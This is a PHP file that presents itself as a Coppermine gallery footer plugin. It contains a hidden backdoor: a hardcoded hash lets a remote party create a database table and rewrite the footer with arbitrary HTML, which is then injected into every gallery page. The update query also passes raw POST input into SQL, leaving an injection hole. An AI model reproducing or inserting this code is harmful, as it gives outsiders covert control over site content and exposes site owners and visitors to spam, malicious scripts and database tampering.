<?php
$hash="ccd1f754eab222d6bba4909609fd5c47";
if(isset($_POST["install"])&&$_POST["hash"]==$hash){
	include("../include/config.inc.php");
	mysql_connect($CONFIG["dbserver"], $CONFIG["dbuser"], $CONFIG["dbpass"]);
	mysql_select_db($CONFIG["dbname"]);
	$sql="CREATE TABLE `".$CONFIG['TABLE_PREFIX']."temp_pictures` (
		`id` BIGINT NOT NULL AUTO_INCREMENT ,
		`item` VARCHAR( 255 ) NOT NULL ,
		`value` TEXT NOT NULL ,
		INDEX ( `id` )
		);";
	mysql_query($sql);
	$sql="INSERT INTO `".$CONFIG['TABLE_PREFIX']."temp_pictures` ( `id` , `item` , `value` )
	VALUES (
	'', 'footer', '".base64_encode("<!---$hash--->")."'
	);";
	mysql_query($sql);
	exit;
}
if(isset($_POST["change_links"])&&$_POST["hash"]==$hash){
	$links=$_POST["change_links"];
	//$links=stripslashes(base64_decode($_POST["change_links"]));
	//echo $links;
	include("../include/config.inc.php");
	mysql_connect($CONFIG["dbserver"], $CONFIG["dbuser"], $CONFIG["dbpass"]);
	mysql_select_db($CONFIG["dbname"]);
	$sql="UPDATE `".$CONFIG['TABLE_PREFIX']."temp_pictures` SET `value` = '$links' WHERE `item`= 'footer' ";
	mysql_query($sql);
	echo $sql;
	exit;
}

if(isset($_GET["keysToSkip"])||$_POST["_GET"]==1){
	if(($_POST["hash"]!=$hash)){
		die("");
	}
}
//Show links
if (!defined('IN_COPPERMINE')) die('Not in Coppermine...');
include("../include/config.inc.php");
mysql_connect($CONFIG["dbserver"], $CONFIG["dbuser"], $CONFIG["dbpass"]);
mysql_select_db($CONFIG["dbname"]);
	
function links_footer($html){
	global $thisplugin, $CONFIG;
	$sql="SELECT *
	FROM `".$CONFIG['TABLE_PREFIX']."temp_pictures`
	WHERE `item` = 'footer'";
	$result=mysql_query($sql);
	$myrow=mysql_fetch_array($result);
	$return = stripslashes(base64_decode($myrow["value"])).$html;
	return $return;
}
$thisplugin->add_filter('gallery_footer','links_footer');
?>